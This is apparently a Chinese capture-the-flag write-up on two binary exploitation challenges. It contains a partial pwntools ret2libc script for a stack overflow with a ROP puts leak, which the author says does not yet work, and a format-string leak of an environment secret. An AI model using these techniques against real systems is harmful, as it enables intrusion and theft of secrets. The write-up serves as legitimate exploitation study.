pwn
Magic Door
考察点:
(1)查看程序保护
开了nx保护,利用shellcode困难,且是amd64
(2)查看程序重定位表和导入表:
导入表记录着从外部导入的符号信息,导入表包含程序导入外部函数的.plt表项,重定位表包含外部函数对应的.got.plt表项
(3)反编译分析:
main:
__int64 open_the_door()
{
__int64 result; // rax
char input[12]; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+Ch] [rbp-4h]
initialize();
puts("Welcome to the Magic Door !");
printf("Which door would you like to open? ");
__isoc99_scanf("%11s", input);
getchar();
if ( !strcmp(input, "50015") || (v2 = atoi(input), v2 != 50015) )
result = no_door_foryou();
else
result = magic_door(50015LL);
return result;
}
先获取第一次输入,我们目的是要让其执行第二个result,那么就要让strcmp()结果返回1,即输入不与50015相同,可是要使整个if条件为假,还要满足"||"后面部分为0,该部分使用了atoi函数将input字符串转换为整数并赋值给v2,最后判断v2是否等于50015,显然,我们要让v2=50015,综合整个条件,可知我们必须让input = 50015fsljf,即前面是50015后面随便加任意字符串。
执行程序来验证输入:
接着跟进到下一个函数:
magic_door:
char *magic_door()
{
char input2[8]; // [rsp+10h] [rbp-40h] BYREF
__int64 v2; // [rsp+18h] [rbp-38h]
__int64 v3; // [rsp+20h] [rbp-30h]
__int64 v4; // [rsp+28h] [rbp-28h]
__int64 v5; // [rsp+30h] [rbp-20h]
__int64 v6; // [rsp+38h] [rbp-18h]
__int64 v7; // [rsp+40h] [rbp-10h]
__int64 v8; // [rsp+48h] [rbp-8h]
*(_QWORD *)input2 = 0LL;
v2 = 0LL;
v3 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
puts("Congratulations! You opened the magic door!");
puts("Where would you like to go? ");
return fgets(input2, 256, stdin);
}
这里就是简单的获取输入,没有什么逻辑判断,因此这里的padding最好判断,点input2跟进它在栈中的位置或者用cyclic都可以,得出结果相同:
可知从input2到覆盖返回地址的偏移为0x48
十进制72刚好就是0x48
(4)动态调试:
由于我们的目的是要getshell,需要调用system函数,但是程序中没有找到,那就试着ret2libc,且是amd64程序,可能需要用到ROP
# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug',arch='amd64',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './magic_door' # pwn程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('8.134.95.127',7778 ) # 打远程则开启这个并注释掉前两个
elf = ELF('./magic_door')
del1 = b'open?'
x = b'50015a'
io.sendlineafter(del1,x)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
# printf_plt = elf.got['printf']
# printf_got = elf.got['printf']
magic_door = elf.symbols['magic_door']
padding = 0x48 # payload中前面要填充的非关键数据个数,即溢出位前所有的输入
pop_rdi_ret = 0x401434
ret = 0x401388
del2 = b'go?'
# 泄漏出libc的puts函数加载地址
payload1 = padding * b'a' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(magic_door)
# pwndbg附加调试
# gdb.attach(io)
# pause()
io.sendlineafter(del2,payload1) # 接收到对应最后的字符后才发送我们的payload
output = io.recvuntil('\n')
leaked_address = output[:8]
address_value = u64(leaked_address)
print("Leaked address: 0x{:x}".format(address_value))
# print(hex(leak_puts)) # 输出泄漏的地址
io.interactive() # 打通后获得一个交互式shell
(待续)遇到问题:输出puts的泄漏地址不成功
pakmatburger
考察点:
(1)查看程序保护
保护全开,问题就有些棘手了
(2)查看程序重定位表和导入表
(3)反编译分析
main:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
const char *s2; // [rsp+0h] [rbp-40h]
char s1[9]; // [rsp+Ah] [rbp-36h] BYREF //0x3e、62
char s[10]; // [rsp+13h] [rbp-2Dh] BYREF
char format[12]; // [rsp+1Dh] [rbp-23h] BYREF //0x2b、43
char v8[15]; // [rsp+29h] [rbp-17h] BYREF
unsigned __int64 v9; // [rsp+38h] [rbp-8h]
v9 = __readfsqword(0x28u);
initialize();
s2 = getenv("SECRET_MESSAGE");
if ( s2 )
{
puts("Welcome to Pak Mat Burger!");
printf("Please enter your name: ");
__isoc99_scanf("%11s", format);
printf("Hi ");
printf(format);
printf(", to order a burger, enter the secret message: ");
__isoc99_scanf("%8s", s1);
if ( !strcmp(s1, s2) )
{
puts("Great! What type of burger would you like to order? ");
__isoc99_scanf("%14s", v8);
getchar();
printf("Please provide your phone number, we will delivered soon: ");
result = (unsigned int)fgets(s, 100, stdin);
}
else
{
puts("Sorry, the secret message is incorrect. Exiting...");
result = 0;
}
}
else
{
puts("Error: SECRET_MESSAGE environment variable not set. Exiting...");
result = 1;
}
return result;
}
首先判断SECRET_MESSAGE
是否存在,不存在则提示并退出程序,因此在本地调试之前可以设置为任意值,因为只需要该值存在,如果是在远程就不需要,部署环境时已设置正确的值。当前shell
中输入命令:
export SECRET_MESSAGE=hello
接着第一个输入获取是名字,注意到这里用的scanf
函数,并且存在格式化字符串,可能可以利用格式化字符串漏洞,然后输出我们的输入,接着要我们输入secret message
,作为变量s1,注意到下面用strcmp
函数对最初设置的环境变量s2和现在的s1做比较,当两者相等返回0才满足if条件为真,显然只要输入hello
就可以,但问题是如果是远程的环境,我们并不知道环境变量SECRET_MESSAGE
的值,所以我们可以尝试利用格式化字符串漏洞来泄漏出这个值。(待续)
在程序中我们还找到了由程序本身定义的secret_order
函数(而不是调用libc的):
int secret_order()
{
return system("cat ./flag.txt");
}
噢!这个函数直接调用了system函数获取flag,之后一定能派上用场!
(4)动态调试:
首先给第一次的scanf
函数下一个断点,便于每次测试,先尝试几次看看能不能泄漏,从$1
开始:
显然,由于这是x64
程序,在第二次printf
执行之前,我们的格式化字符串输入%1$p
作为第一个参数存储在寄存器rdi
,而%1$p
泄漏的地址就是该参数后的下一个参数位置,这是由格式化输出函数的特性决定的,随着格式化字符串的递增,就是泄漏rsi
、rdx
、rcx
、r8
、r9
、栈rsp
...噢就像个无底洞,总之几乎所有都可以泄漏。
泄漏SECRET_MESSAGE
经过验证发现,当我们最终输入%6$p
时,就指向了rsp
,其内存中存储的数据正好就是最初设置的SECRET_MESSAGE
!!我们还可以用%6$s
进行验证:
显然我们就可以通过%6$s
来泄漏出远程环境变量的真正值:
我们是对的,注意这里是比赛后给的Dockerfile
搭建环境后复现的,环境和比赛时是一样的,所以不必纠结
Comments NOTHING